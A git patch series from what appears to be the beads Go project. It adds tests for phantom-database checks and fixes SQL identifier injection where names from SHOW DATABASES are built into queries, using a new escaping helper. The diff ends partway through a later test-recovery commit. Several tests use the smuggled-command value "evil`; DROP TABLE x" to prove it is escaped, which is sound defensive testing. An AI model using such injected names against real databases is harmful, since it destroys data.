openSharedDoltForPhantom(t) + + // Clean up any pre-existing phantom databases from other tests. The shared + // test container is bootstrapped with a beads_test database, so without this + // sweep the aggregate-status assertion below is red under -run isolation, + // -shuffle, or sharding, and green in a package run only because + // TestCheckPhantomDatabases_OK happens to sweep first. + cleanupAllPhantomDBs(t, db) + + // Shared-server mode creates a global routing database (beads_global) that + // matches the beads_ prefix but is intentional, not a phantom. + //nolint:gosec // G202: test-only database name, not user input + _, err := db.Exec("CREATE DATABASE IF NOT EXISTS beads_global") + if err != nil { + t.Fatalf("failed to create test database: %v", err) + } + cleanupPhantomDB(t, db, "beads_global") + + conn := &doltConn{ + db: db, + cfg: &configfile.Config{GlobalDoltDatabase: "beads_global"}, + } + check := checkPhantomDatabases(conn) + + // Containment pins this test's own subject and cannot be perturbed by an + // unrelated database appearing on the shared server; the status assertion + // then adds that nothing else was flagged either. + if strings.Contains(check.Message, "beads_global") { + t.Errorf("global DB must not be reported as a phantom, got %s: %s", check.Status, check.Message) + } + if check.Status != StatusOK { + t.Errorf("expected StatusOK (global DB should not be flagged), got %s: %s", check.Status, check.Message) + } +} + +// TestCheckPhantomDatabases_GlobalDBNoStamp covers the population that reported +// GH#6599: an existing checkout whose metadata.json carries no +// global_dolt_database stamp, because bd init only writes that field when the +// workspace is initialized under shared-server mode and nothing back-fills it. +func TestCheckPhantomDatabases_GlobalDBNoStamp(t *testing.T) { + db := openSharedDoltForPhantom(t) + cleanupAllPhantomDBs(t, db) + + t.Setenv("BEADS_DOLT_SHARED_SERVER", "1") + + //nolint:gosec // G202: test-only database name, not user input + _, err := db.Exec("CREATE DATABASE IF NOT EXISTS beads_global") + if err != nil { + t.Fatalf("failed to create test database: %v", err) + } + cleanupPhantomDB(t, db, "beads_global") + + conn := &doltConn{db: db, cfg: &configfile.Config{}} + check := checkPhantomDatabases(conn) + + if strings.Contains(check.Message, "beads_global") { + t.Errorf("unstamped global DB must not be flagged in shared-server mode, got %s: %s", check.Status, check.Message) + } + if check.Status != StatusOK { + t.Errorf("expected StatusOK for an unstamped global DB in shared-server mode, got %s: %s", check.Status, check.Message) + } +} + +// TestCheckPhantomDatabases_GlobalDBNoStampPerProject pins the other arm of the +// fallback: with neither the init stamp nor active shared-server mode there is +// no evidence this workspace routes through a global database, so a stray +// beads_global on a per-project server is still reported. This covers unstamped +// workspaces only — the stamp is read ahead of the mode gate, so a workspace +// stamped under shared-server mode keeps skipping beads_global after the mode is +// turned off. That is deliberate (bd init writes the same constant the fallback +// returns, so the two can only diverge on a hand-edited metadata.json). +func TestCheckPhantomDatabases_GlobalDBNoStampPerProject(t *testing.T) { + db := openSharedDoltForPhantom(t) + cleanupAllPhantomDBs(t, db) + + t.Setenv("BEADS_DOLT_SHARED_SERVER", "0") + if doltserver.IsSharedServerMode() { + t.Skip("shared-server mode enabled via config.yaml; cannot exercise the per-project arm") + } + + //nolint:gosec // G202: test-only database name, not user input + _, err := db.Exec("CREATE DATABASE IF NOT EXISTS beads_global") + if err != nil { + t.Fatalf("failed to create test database: %v", err) + } + cleanupPhantomDB(t, db, "beads_global") + + conn := &doltConn{db: db, cfg: &configfile.Config{}} + check := checkPhantomDatabases(conn) + + if !strings.Contains(check.Message, "beads_global") { + t.Errorf("expected beads_global to be flagged without a stamp outside shared-server mode, got %s: %s", check.Status, check.Message) + } +} + +// TestProbeForCorrectDatabase_SkipsGlobalDB covers the adjacent exit of the same +// fix. The global routing database is schema-initialized, so it answers the +// probe's issues-table query and would otherwise be suggested as the project's +// real database. +func TestProbeForCorrectDatabase_SkipsGlobalDB(t *testing.T) { + db := openSharedDoltForPhantom(t) + cleanupAllPhantomDBs(t, db) + + //nolint:gosec // G202: test-only database name, not user input + _, err := db.Exec("CREATE DATABASE IF NOT EXISTS beads_global") + if err != nil { + t.Fatalf("failed to create test database: %v", err) + } + cleanupPhantomDB(t, db, "beads_global") + //nolint:gosec // G202: test-only database name, not user input + _, err = db.Exec("CREATE TABLE IF NOT EXISTS `beads_global`.issues (id VARCHAR(64) PRIMARY KEY)") + if err != nil { + t.Fatalf("failed to create issues table: %v", err) + } + + // The configured database ("beads") is skipped by the probe, so beads_global + // is the first candidate it reaches. + conn := &doltConn{ + db: db, + cfg: &configfile.Config{DoltDatabase: "beads", GlobalDoltDatabase: "beads_global"}, + } + + if got := probeForCorrectDatabase(conn); got == "beads_global" { + t.Errorf("probeForCorrectDatabase returned the shared-server global database %q", got) + } +} diff --git a/cmd/bd/doctor/dolt_test.go b/cmd/bd/doctor/dolt_test.go index 08666fbac..4551c9aed 100644 --- a/cmd/bd/doctor/dolt_test.go +++ b/cmd/bd/doctor/dolt_test.go @@ -5,6 +5,9 @@ import ( "path/filepath" "strings" "testing" + + "github.com/steveyegge/beads/internal/configfile" + "github.com/steveyegge/beads/internal/doltserver" ) // TestRunDoltHealthChecks_NonDoltBackend was removed: SQLite backend no longer @@ -229,6 +232,50 @@ func TestDescribeUncommittedTables_AllIgnoredIsClean(t *testing.T) { } } +// TestResolveGlobalDoltDatabase pins each arm of the GH#6599 resolver directly. +// The end-to-end coverage in dolt_phantom_test.go is //go:build cgo and skips +// whenever the shared Dolt test container is unreachable, so these are the arms +// that run everywhere, including the CGO_ENABLED=0 lane: no server, no skip. +func TestResolveGlobalDoltDatabase(t *testing.T) { + // Shared-server mode is ON here and the stamp is deliberately not + // doltserver.GlobalDatabaseName, so this is the one configuration that + // discriminates "the stamp is read first" from "the mode gate is read + // first" — reordering the two arms returns the constant and reddens this. + t.Run("stamp wins ahead of the mode gate", func(t *testing.T) { + t.Setenv("BEADS_DOLT_SHARED_SERVER", "1") + cfg := &configfile.Config{GlobalDoltDatabase: "beads_global_renamed"} + if got := resolveGlobalDoltDatabase(cfg); got != "beads_global_renamed" { + t.Errorf("resolveGlobalDoltDatabase(stamped) = %q, want the stamp %q", got, "beads_global_renamed") + } + }) + + // BEADS_DOLT_SHARED_SERVER="1" forces IsSharedServerMode() true before it + // consults config.yaml, so this arm cannot be quieted by the host's config. + t.Run("unstamped config falls back to the routed constant", func(t *testing.T) { + t.Setenv("BEADS_DOLT_SHARED_SERVER", "1") + if got := resolveGlobalDoltDatabase(&configfile.Config{}); got != doltserver.GlobalDatabaseName { + t.Errorf("resolveGlobalDoltDatabase(unstamped) = %q, want %q", got, doltserver.GlobalDatabaseName) + } + }) + + t.Run("nil config falls back to the routed constant", func(t *testing.T) { + t.Setenv("BEADS_DOLT_SHARED_SERVER", "1") + if got := resolveGlobalDoltDatabase(nil); got != doltserver.GlobalDatabaseName { + t.Errorf("resolveGlobalDoltDatabase(nil) = %q, want %q", got, doltserver.GlobalDatabaseName) + } + }) + + t.Run("unstamped per-project workspace resolves to nothing", func(t *testing.T) { + t.Setenv("BEADS_DOLT_SHARED_SERVER", "0") + if doltserver.IsSharedServerMode() { + t.Skip("shared-server mode enabled via config.yaml; cannot exercise the per-project arm") + } + if got := resolveGlobalDoltDatabase(&configfile.Config{}); got != "" { + t.Errorf("resolveGlobalDoltDatabase(unstamped, per-project) = %q, want \"\" so the skip arm never matches", got) + } + }) +} + // TestDoltLocksAndDoltStatusShareOneFilter is the anti-drift guard. The two // checks previously kept independent skip-lists that diverged; if a future // change reintroduces a second private filter, the shared helper stops being From 29bd4eeacd85940178ac7f21f32780495c838ff6 Mon Sep 17 00:00:00 2001 From: Vishnu J Date: Sat, 26 Sep 2026 14:26:04 -0700 Subject: [PATCH 114/624] fix(doctor,doltserver): escape SHOW DATABASES identifiers at raw-interpolation sites (#6434) (#6638) * fix(doctor,doltserver): escape SHOW DATABASES identifiers at raw-interpolation sites Three call sites interpolated a SHOW DATABASES-derived name into SQL without doubling backticks, so a database name containing a backtick could break out of the identifier quoting: - cmd/bd/doctor/dolt.go probeForCorrectDatabase (issues probe) - internal/doltserver/doltserver.go flush routine (dolt_status probe and USE) Extract each query into a small helper (issuesProbeQuery, doltStatusQuery, useDatabaseStatement) that applies the same escape already used by inspectServerMetadataDatabases, and unit-test them without a live Dolt server. Fixes #6434 Co-Authored-By: Claude Sonnet 5 * fix(doctor): escape the bd doctor --fix probe via a shared doltutil helper Maintainer review fixes for PR #6638 (review iterations 1 and 2). The review's one major (Change Impact / Blast Radius) is that the PR escapes three of four identical SHOW DATABASES interpolation sites. probeForCorrectDoltDatabase (cmd/bd/doctor/fix/metadata.go) is a near-line-for-line clone of the probeForCorrectDatabase this PR fixed -- same enumeration, same system-DB skip map, same testdb_/doctest_/ doctortest_ prefix filter, byte-identical query string -- and the two are the check and fix halves of one GH#2160 wrong-database repair. So after this PR "bd doctor" detects a backticked database and emits "Fix: Run 'bd doctor --fix' to set dolt_database=X", while "bd doctor --fix" reaches the still-raw twin, whose SELECT errors, yielding correctDB == "" and a bare return nil: no fix, no error, no output. The PR turned a consistent double failure into a repair tool that tells the user to run a command that silently does nothing. Take the review's preferred single remedy, which also closes the Architectural Consistency minor: land one exported doltutil.QuoteIdentifier and route every site through it. internal/storage/doltutil was already imported by the affected packages (cmd/bd/doctor, cmd/bd/doctor/fix, internal/doltserver), so only cmd/bd gains an import edge. - new doltutil.QuoteIdentifier, returning the backtick-quoted form so quoting and escaping cannot be applied separately; unit-tested for plain, empty, embedded/leading backtick, and backtick-only names - route all five hand-inlined backtick-doubling copies through it: the three builders this PR added, the pre-existing DROP DATABASE in cmd/bd/dolt_clean_databases.go, and inspectServerMetadataDatabases. Non-test inline copies go from five to one -- the helper itself - drop the surviving //nolint:gosec rationale "dbName from SHOW DATABASES, not user input" at fix/metadata.go, which documented as safe exactly the premise this PR exists to refute - pin the call site, not only the builder: a sqlmock test asserts probeForCorrectDoltDatabase issues the escaped query. Reverting the escape fails it with probeForCorrectDoltDatabase() = "", the silent no-op described above, while the plain-name case stays green Left raw deliberately, as both review lanes concluded: doltserver.go's CREATE DATABASE takes the constant GlobalDatabaseName, and the raw USE in internal/testutil takes test-controlled names. Review iteration 2 found no blocker or major. Its one minor is that the consolidation re-created the ambiguity it removed, one level up: the repo already exported a QuoteIdentifier in internal/storage/domain/db with the opposite contract -- allowlist-based, returns an error, rejects anything outside validIdentifier -- whose docstring claimed to be "the one place this repository's identifiers are quoted", a sentence the new helper falsified while staking a competing near-universal claim of its own. - rename doltutil.QuoteIdentifier to QuoteIdentifierUnvalidated, and have both docstrings state their input class and cross-reference the other: db.QuoteIdentifier for bd-minted names that must satisfy the allowlist before the database or table is addressed, the doltutil helper for server-reported names bd does not control. The escape-over-reject behavior does not change -- rejecting a SHOW DATABASES name would skip the candidate, which is the defect this PR exists to fix. The new name also keeps Quote, so callers do not re-wrap an already-quoted result - scope the helper's "every identifier that is not a compile-time constant or already validated" rule to non-test code: internal/testutil still interpolates raw, on test-controlled names, and has no non-test importer - pin dropStaleDatabases (cmd/bd/dolt_clean_databases.go), the one destructive statement in the set. versioncontrolops.DBConn is already a parameter there, so a recording fake needs no server and no sqlmock, and the test is tagless where the sibling file is cgo-gated. Reverting that call site to raw interpolation fails it with "DROP DATABASE `evil`; DROP TABLE x`" -- the injected statement escaping the identifier -- while the plain-name statement stays byte-identical The remaining unpinned site, inspectServerMetadataDatabases, opens its own *sql.DB inside openServerCatalogDB, so pinning it needs a production seam rather than a test. It was already correctly escaped before this PR and is unchanged by it; left as reviewer-noted follow-up, as is nolintlint, which .golangci.yml still disables. Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Claude Sonnet 5 Co-authored-by: Julian Knutsen --- cmd/bd/doctor/dolt.go | 12 +++- cmd/bd/doctor/dolt_test.go | 18 +++++ cmd/bd/doctor/fix/metadata.go | 15 ++--- cmd/bd/doctor/fix/metadata_probe_test.go | 58 ++++++++++++++++ cmd/bd/dolt_clean_databases.go | 5 +- cmd/bd/dolt_clean_databases_quote_test.go | 71 ++++++++++++++++++++ internal/doltserver/doltserver.go | 18 ++++- internal/doltserver/doltserver_test.go | 36 ++++++++++ internal/storage/doltutil/identifier.go | 33 +++++++++ internal/storage/doltutil/identifier_test.go | 25 +++++++ internal/storage/domain/db/ddl.go | 12 +++- 11 files changed, 285 insertions(+), 18 deletions(-) create mode 100644 cmd/bd/doctor/fix/metadata_probe_test.go create mode 100644 cmd/bd/dolt_clean_databases_quote_test.go create mode 100644 internal/storage/doltutil/identifier.go create mode 100644 internal/storage/doltutil/identifier_test.go diff --git a/cmd/bd/doctor/dolt.go b/cmd/bd/doctor/dolt.go index 159cc7563..529e23929 100644 --- a/cmd/bd/doctor/dolt.go +++ b/cmd/bd/doctor/dolt.go @@ -705,9 +705,7 @@ func probeForCorrectDatabase(conn *doltConn) string { for _, dbName := range candidates { var count int // USE + query to check if the database has the issues table - //nolint:gosec // G201: dbName is from SHOW DATABASES, not user input - err := conn.db.QueryRowContext(ctx, - fmt.Sprintf("SELECT COUNT(*) FROM `%s`.issues LIMIT 1", dbName)).Scan(&count) + err := conn.db.QueryRowContext(ctx, issuesProbeQuery(dbName)).Scan(&count) if err == nil { return dbName } @@ -820,3 +818,11 @@ func CheckCorruptManifest(path string) DoctorCheck { Category: CategoryRuntime, } } + +// issuesProbeQuery builds the issues-table probe for a database name taken from +// SHOW DATABASES. The name is identifier-quoted because it reflects whatever +// created the database, not a bd-controlled value. +func issuesProbeQuery(dbName string) string { + //nolint:gosec // G201: identifier quoted+escaped via doltutil.QuoteIdentifierUnvalidated + return fmt.Sprintf("SELECT COUNT(*) FROM %s.issues LIMIT 1", doltutil.QuoteIdentifierUnvalidated(dbName)) +} diff --git a/cmd/bd/doctor/dolt_test.go b/cmd/bd/doctor/dolt_test.go index 4551c9aed..ee113e7c8 100644 --- a/cmd/bd/doctor/dolt_test.go +++ b/cmd/bd/doctor/dolt_test.go @@ -294,3 +294,21 @@ func TestDoltLocksAndDoltStatusShareOneFilter(t *testing.T) { } } } + +func TestIssuesProbeQuery(t *testing.T) { + tests := []struct { + name string + dbName string + want string + }{ + {"plain", "beads_x", "SELECT COUNT(*) FROM `beads_x`.issues LIMIT 1"}, + {"backtick", "evil`; DROP TABLE x", "SELECT COUNT(*) FROM `evil``; DROP TABLE x`.issues LIMIT 1"}, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + if got := issuesProbeQuery(tt.dbName); got != tt.want { + t.Errorf("issuesProbeQuery(%q) = %q, want %q", tt.dbName, got, tt.want) + } + }) + } +} diff --git a/cmd/bd/doctor/fix/metadata.go b/cmd/bd/doctor/fix/metadata.go index 454b5dfe9..07281e5d0 100644 --- a/cmd/bd/doctor/fix/metadata.go +++ b/cmd/bd/doctor/fix/metadata.go @@ -281,9 +281,9 @@ func probeForCorrectDoltDatabase(db *sql.DB, skipDB string) string { for _, dbName := range candidates { var count int - //nolint:gosec // G201: dbName from SHOW DATABASES, not user input + //nolint:gosec // G201: identifier quoted+escaped via doltutil.QuoteIdentifierUnvalidated err := db.QueryRowContext(ctx, - fmt.Sprintf("SELECT COUNT(*) FROM `%s`.issues LIMIT 1", dbName)).Scan(&count) + fmt.Sprintf("SELECT COUNT(*) FROM %s.issues LIMIT 1", doltutil.QuoteIdentifierUnvalidated(dbName))).Scan(&count) if err == nil { return dbName } @@ -445,21 +445,20 @@ func inspectServerMetadataDatabases(beadsDir string, cfg *configfile.Config) ([] } meta := serverDatabaseMetadata{Name: dbName} - // Escape backticks in database name to prevent SQL injection (` → ``) - safeName := strings.ReplaceAll(dbName, "`", "``") + quotedName := doltutil.QuoteIdentifierUnvalidated(dbName) var count int - //nolint:gosec // G201: identifier-escaped, dbName from SHOW DATABASES - if err := db.QueryRowContext(ctx, fmt.Sprintf("SELECT COUNT(*) FROM `%s`.issues LIMIT 1", safeName)).Scan(&count); err == nil { + //nolint:gosec // G201: identifier quoted+escaped via doltutil.QuoteIdentifierUnvalidated + if err := db.QueryRowContext(ctx, fmt.Sprintf("SELECT COUNT(*) FROM %s.issues LIMIT 1", quotedName)).Scan(&count); err == nil { meta.HasSchema = true } else if !isExpectedProbeError(err) { return nil, fmt.Errorf("probing database %q for schema: %w", dbName, err) } var projectID string - //nolint:gosec // G201: identifier-escaped, dbName from SHOW DATABASES + //nolint:gosec // G201: identifier quoted+escaped via doltutil.QuoteIdentifierUnvalidated if err := db.QueryRowContext(ctx, - fmt.Sprintf("SELECT value FROM `%s`.metadata WHERE `key` = '_project_id' LIMIT 1", safeName), + fmt.Sprintf("SELECT value FROM %s.metadata WHERE `key` = '_project_id' LIMIT 1", quotedName), ).Scan(&projectID); err == nil { meta.ProjectID = projectID } else if !isExpectedProbeError(err) { diff --git a/cmd/bd/doctor/fix/metadata_probe_test.go b/cmd/bd/doctor/fix/metadata_probe_test.go new file mode 100644 index 000000000..ac17335c5 --- /dev/null +++ b/cmd/bd/doctor/fix/metadata_probe_test.go @@ -0,0 +1,58 @@ +package fix + +import ( + "regexp" + "testing" + + "github.com/DATA-DOG/go-sqlmock" +) + +// TestProbeForCorrectDoltDatabaseQuotesIdentifier pins the call site, not just +// the escape helper. probeForCorrectDoltDatabase is the `bd doctor --fix` half +// of the GH#2160 wrong-database repair; its twin in package doctor +// (probeForCorrectDatabase) emits the "run bd doctor --fix" instruction. While +// this probe interpolated the SHOW DATABASES name raw, a backtick-bearing name +// made the SELECT error, so the repair returned "" and did nothing at all — +// no fix, no error, no output — for exactly the names the check had just told +// the user to repair. Expectations are exact strings, so reverting to raw +// interpolation fails this test rather than silently regressing. +func TestProbeForCorrectDoltDatabaseQuotesIdentifier(t *testing.T) { + tests := []struct { + name string + dbName string + wantQuery string + }{ + { + name: "plain name is unchanged", + dbName: "beads_x", + wantQuery: "SELECT COUNT(*) FROM `beads_x`.issues LIMIT 1", + }, + { + name: "backtick cannot break out of the identifier", + dbName: "evil`; DROP TABLE x", + wantQuery: "SELECT COUNT(*) FROM `evil``; DROP TABLE x`.issues LIMIT 1", + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + db, mock, err := sqlmock.New() + if err != nil { + t.Fatalf("sqlmock.New: %v", err) + } + defer db.Close() + + mock.ExpectQuery("SHOW DATABASES"). + WillReturnRows(sqlmock.NewRows([]string{"Database"}).AddRow(tt.dbName)) + mock.ExpectQuery(regexp.QuoteMeta(tt.wantQuery)). + WillReturnRows(sqlmock.NewRows([]string{"count"}).AddRow(1)) + + if got := probeForCorrectDoltDatabase(db, "beads"); got != tt.dbName { + t.Errorf("probeForCorrectDoltDatabase() = %q, want %q", got, tt.dbName) + } + if err := mock.ExpectationsWereMet(); err != nil { + t.Errorf("unmet expectations: %v", err) + } + }) + } +} diff --git a/cmd/bd/dolt_clean_databases.go b/cmd/bd/dolt_clean_databases.go index ecb1d51ed..b8911d84d 100644 --- a/cmd/bd/dolt_clean_databases.go +++ b/cmd/bd/dolt_clean_databases.go @@ -7,6 +7,7 @@ import ( "strings" "time" + "github.com/steveyegge/beads/internal/storage/doltutil" "github.com/steveyegge/beads/internal/storage/versioncontrolops" ) @@ -126,8 +127,8 @@ func dropStaleDatabases(ctx context.Context, conn versioncontrolops.DBConn, stal } dropCtx, dropCancel := context.WithTimeout(ctx, cleanDatabasesDropTimeout) - safeName := strings.ReplaceAll(name, "`", "``") - _, err := conn.ExecContext(dropCtx, fmt.Sprintf("DROP DATABASE `%s`", safeName)) //nolint:gosec // G201: identifier-escaped + //nolint:gosec // G201: identifier quoted+escaped via doltutil.QuoteIdentifierUnvalidated + _, err := conn.ExecContext(dropCtx, fmt.Sprintf("DROP DATABASE %s", doltutil.QuoteIdentifierUnvalidated(name))) dropCancel() if err != nil { fmt.Fprintf(os.Stderr, " FAIL: %s: %v\n", name, err) diff --git a/cmd/bd/dolt_clean_databases_quote_test.go b/cmd/bd/dolt_clean_databases_quote_test.go new file mode 100644 index 000000000..94cf63940 --- /dev/null +++ b/cmd/bd/dolt_clean_databases_quote_test.go @@ -0,0 +1,71 @@ +package main + +import ( + "context" + "database/sql" + "testing" + + "github.com/steveyegge/beads/internal/storage/versioncontrolops" +) + +// recordingDropConn records the statements dropStaleDatabases issues. Only +// ExecContext is reachable from that function; the other two methods exist to +// satisfy versioncontrolops.DBConn and fail loudly if that ever changes. +type recordingDropConn struct { + t *testing.T + queries []string +} + +var _ versioncontrolops.DBConn = (*recordingDropConn)(nil) + +func (c *recordingDropConn) ExecContext(_ context.Context, query string, _ ...any) (sql.Result, error) { + c.queries = append(c.queries, query) + return nil, nil +} + +func (c *recordingDropConn) QueryContext(_ context.Context, query string, _ ...any) (*sql.Rows, error) { + c.t.Fatalf("unexpected QueryContext(%q)", query) + return nil, nil +} + +func (c *recordingDropConn) QueryRowContext(_ context.Context, query string, _ ...any) *sql.Row { + c.t.Fatalf("unexpected QueryRowContext(%q)", query) + return nil +} + +// TestDropStaleDatabasesQuotesIdentifiers pins the one destructive statement in +// the SHOW DATABASES set to the escaping helper. `bd dolt clean-databases` +// enumerates server database names and DROPs the stale ones, so the name it +// interpolates is whatever created the database, never a bd-minted value. The +// PR this test ships with fixed a sibling probe that had been left on raw +// interpolation precisely because nothing tied its call site to a builder; +// DROP DATABASE is where that mistake would cost the most, and the seam is +// free — dropStaleDatabases already takes versioncontrolops.DBConn as a +// parameter, so no server and no sqlmock are needed. Expectations are exact +// strings, so reverting the call site to raw `%s` interpolation fails the +// backtick case here rather than silently regressing. +func TestDropStaleDatabasesQuotesIdentifiers(t *testing.T) { + conn := &recordingDropConn{t: t} + stale := []string{"beads_x", "evil`; DROP TABLE x"} + + dropped, err := dropStaleDatabases(t.Context(), conn, stale) + if err != nil { + t.Fatalf("dropStaleDatabases: %v", err) + } + if dropped != len(stale) { + t.Fatalf("dropped = %d, want %d", dropped, len(stale)) + } + + want := []string{ + "DROP DATABASE `beads_x`", + "DROP DATABASE `evil``; DROP TABLE x`", + } + if len(conn.queries) != len(want) { + t.Fatalf("issued %d statements (%q), want %d", len(conn.queries), conn.queries, len(want)) + } + for i, wantQuery := range want { + if conn.queries[i] != wantQuery { + t.Errorf("statement %d = %q, want %q", i, conn.queries[i], wantQuery) + } + } +} diff --git a/internal/doltserver/doltserver.go b/internal/doltserver/doltserver.go index 4be44120a..1accffec5 100644 --- a/internal/doltserver/doltserver.go +++ b/internal/doltserver/doltserver.go @@ -1703,7 +1703,7 @@ func FlushWorkingSet(host string, port int) error { for _, dbName := range databases { // Check for uncommitted changes via dolt_status var hasChanges bool - row := db.QueryRowContext(ctx, fmt.Sprintf("SELECT COUNT(*) > 0 FROM `%s`.dolt_status", dbName)) + row := db.QueryRowContext(ctx, doltStatusQuery(dbName)) if err := row.Scan(&hasChanges); err != nil { // dolt_status may not exist for non-beads databases; skip continue @@ -1713,7 +1713,7 @@ func FlushWorkingSet(host string, port int) error { } // Commit all uncommitted changes - _, err := db.ExecContext(ctx, fmt.Sprintf("USE `%s`", dbName)) + _, err := db.ExecContext(ctx, useDatabaseStatement(dbName)) if err != nil { fmt.Fprintf(os.Stderr, "flush: failed to USE %s: %v\n", dbName, err) continue @@ -2097,3 +2097,17 @@ func IsPreV56DoltDir(doltDir string) bool { _, err := os.Stat(markerPath) return os.IsNotExist(err) } + +// doltStatusQuery builds the dolt_status probe for a SHOW DATABASES name, +// identifier-quoting it so the name cannot break out of the identifier. +func doltStatusQuery(dbName string) string { + //nolint:gosec // G201: identifier quoted+escaped via doltutil.QuoteIdentifierUnvalidated + return fmt.Sprintf("SELECT COUNT(*) > 0 FROM %s.dolt_status", doltutil.QuoteIdentifierUnvalidated(dbName)) +} + +// useDatabaseStatement builds a USE statement for a SHOW DATABASES name, +// identifier-quoting it so the name cannot break out of the identifier. +func useDatabaseStatement(dbName string) string { + //nolint:gosec // G201: identifier quoted+escaped via doltutil.QuoteIdentifierUnvalidated + return fmt.Sprintf("USE %s", doltutil.QuoteIdentifierUnvalidated(dbName)) +} diff --git a/internal/doltserver/doltserver_test.go b/internal/doltserver/doltserver_test.go index e04d85c14..8ae7cd2ee 100644 --- a/internal/doltserver/doltserver_test.go +++ b/internal/doltserver/doltserver_test.go @@ -2666,3 +2666,39 @@ func TestExternalNonLocalhostHost_GH3518(t *testing.T) { } }) } + +func TestDoltStatusQuery(t *testing.T) { + tests := []struct { + name string + dbName string + want string + }{ + {"plain", "beads_x", "SELECT COUNT(*) > 0 FROM `beads_x`.dolt_status"}, + {"backtick", "evil`; DROP TABLE x", "SELECT COUNT(*) > 0 FROM `evil``; DROP TABLE x`.dolt_status"}, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + if got := doltStatusQuery(tt.dbName); got != tt.want { + t.Errorf("doltStatusQuery(%q) = %q, want %q", tt.dbName, got, tt.want) + } + }) + } +} + +func TestUseDatabaseStatement(t *testing.T) { + tests := []struct { + name string + dbName string + want string + }{ + {"plain", "beads_x", "USE `beads_x`"}, + {"backtick", "evil`; DROP TABLE x", "USE `evil``; DROP TABLE x`"}, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + if got := useDatabaseStatement(tt.dbName); got != tt.want { + t.Errorf("useDatabaseStatement(%q) = %q, want %q", tt.dbName, got, tt.want) + } + }) + } +} diff --git a/internal/storage/doltutil/identifier.go b/internal/storage/doltutil/identifier.go new file mode 100644 index 000000000..78ddac232 --- /dev/null +++ b/internal/storage/doltutil/identifier.go @@ -0,0 +1,33 @@ +package doltutil + +import "strings" + +// QuoteIdentifierUnvalidated renders name as a backtick-quoted MySQL/Dolt +// identifier, doubling any embedded backtick so the name cannot break out of +// the quotes. Doubling is the complete escape inside a backtick-quoted +// identifier: no other character is special there, and identifiers cannot +// contain NUL. +// +// Use it in non-test code for every identifier that is not a compile-time +// constant or already validated. Database names returned by SHOW DATABASES are +// the motivating case: they reflect whatever created the database (typically an +// on-disk directory name), not a bd-controlled value, so interpolating one raw +// lets it terminate the identifier and append arbitrary SQL. +// +// Unvalidated names the contract, not a caveat: this helper accepts every +// input, which is what names bd does not control require. For a bd-minted name +// that must satisfy the identifier allowlist before the database or table is +// addressed, use the validating db.QuoteIdentifier +// (internal/storage/domain/db) instead. The two are not interchangeable: +// rejecting a SHOW DATABASES name would skip the candidate rather than address +// it, and escaping a bd-minted name would let an invalid one through. +// +// The result is already quoted; interpolate it with a bare %s rather than +// wrapping it in backticks again. +// +// Callers still need a `//nolint:gosec` on the surrounding fmt.Sprintf: G201 +// fires on any non-constant format argument and cannot see that this function +// makes the interpolation safe. +func QuoteIdentifierUnvalidated(name string) string { + return "`" + strings.ReplaceAll(name, "`", "``") + "`" +} diff --git a/internal/storage/doltutil/identifier_test.go b/internal/storage/doltutil/identifier_test.go new file mode 100644 index 000000000..3c39d2a68 --- /dev/null +++ b/internal/storage/doltutil/identifier_test.go @@ -0,0 +1,25 @@ +package doltutil + +import "testing" + +func TestQuoteIdentifierUnvalidated(t *testing.T) { + tests := []struct { + name string + in string + want string + }{ + {"plain", "beads_x", "`beads_x`"}, + {"empty", "", "``"}, + {"backtick breaks out", "evil`; DROP TABLE x", "`evil``; DROP TABLE x`"}, + {"leading backtick", "`beads", "```beads`"}, + {"only backtick", "`", "````"}, + {"dot is not special", "a.b", "`a.b`"}, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + if got := QuoteIdentifierUnvalidated(tt.in); got != tt.want { + t.Errorf("QuoteIdentifierUnvalidated(%q) = %q, want %q", tt.in, got, tt.want) + } + }) + } +} diff --git a/internal/storage/domain/db/ddl.go b/internal/storage/domain/db/ddl.go index babdeb608..f6ec52223 100644 --- a/internal/storage/domain/db/ddl.go +++ b/internal/storage/domain/db/ddl.go @@ -77,10 +77,16 @@ func (r *ddlSQLRepository) UseDatabase(ctx context.Context, database string) err } // QuoteIdentifier validates name and returns it back-quoted, ready to embed in -// a statement. It is the one place this repository's identifiers are quoted; -// callers outside the package that must build a schema-qualified name (see -// uow's convergence-probe database selector) go through it rather than +// a statement. It is the one place this repository's bd-minted identifiers are +// quoted; callers outside the package that must build a schema-qualified name +// (see uow's convergence-probe database selector) go through it rather than // re-deriving the rule. +// +// It rejects rather than escapes, so it is the wrong helper for an identifier +// bd does not control: a name reported by SHOW DATABASES reflects whatever +// created the database, and refusing it would skip the candidate instead of +// addressing it. Those callers use doltutil.QuoteIdentifierUnvalidated +// (internal/storage/doltutil), which escapes any input. func QuoteIdentifier(name string) (string, error) { if err := ValidateIdentifier(name); err != nil { return "", err From 2ac4e07dcc859c3692615273adb9c9657f5fce3c Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Sat, 26 Sep 2026 14:27:18 -0700 Subject: [PATCH 115/624] fix(test): recover when a Dolt test server dies mid-suite (#6756) A shared container exit was failing every later tracker test, and a local dolt that never listened failed its uow open the same way. Co-authored-by: Cursor --- .../uow/version_reconcile_boot_test.go | 22 ++++++ .../uow/version_reconcile_integration_test.go | 55 +++++++++++---- internal/testutil/testdoltserver.go | 68 +++++++++++++++++-- .../testdoltserver_unreachable_test.go | 32 +++++++++ internal/testutil/testdoltserver_windows.go | 8 +++ internal/tracker/engine_test.go | 25 +++++-- internal/tracker/testmain_test.go | 61 ++++++++++++++++- 7 files changed, 243 insertions(+), 28 deletions(-) create mode 100644 internal/storage/uow/version_reconcile_boot_test.go create mode 100644 internal/testutil/testdoltserver_unreachable_test.go diff --git a/internal/storage/uow/version_reconcile_boot_test.go b/internal/storage/uow/version_reconcile_boot_test.go new file mode 100644 index 000000000..3ca80ee30 --- /dev/null +++ b/internal/storage/uow/version_reconcile_boot_test.go @@ -0,0 +1,22 @@ +package uow + +import ( + "errors" + "testing" +) + +func TestLocalDoltNeverListened(t *testing.T) { + t.Parallel() + if localDoltNeverListened(nil) { + t.Fatal("nil error is not a server that never listened") + } + if !localDoltNeverListened(errors.New("uow: ping db: dial tcp 127.0.0.1:33619: connect: connection refused")) { + t.Fatal("connection refused is a server that never listened") + } + if !localDoltNeverListened(errors.New("dolt sql-server exited before listener became ready")) { + 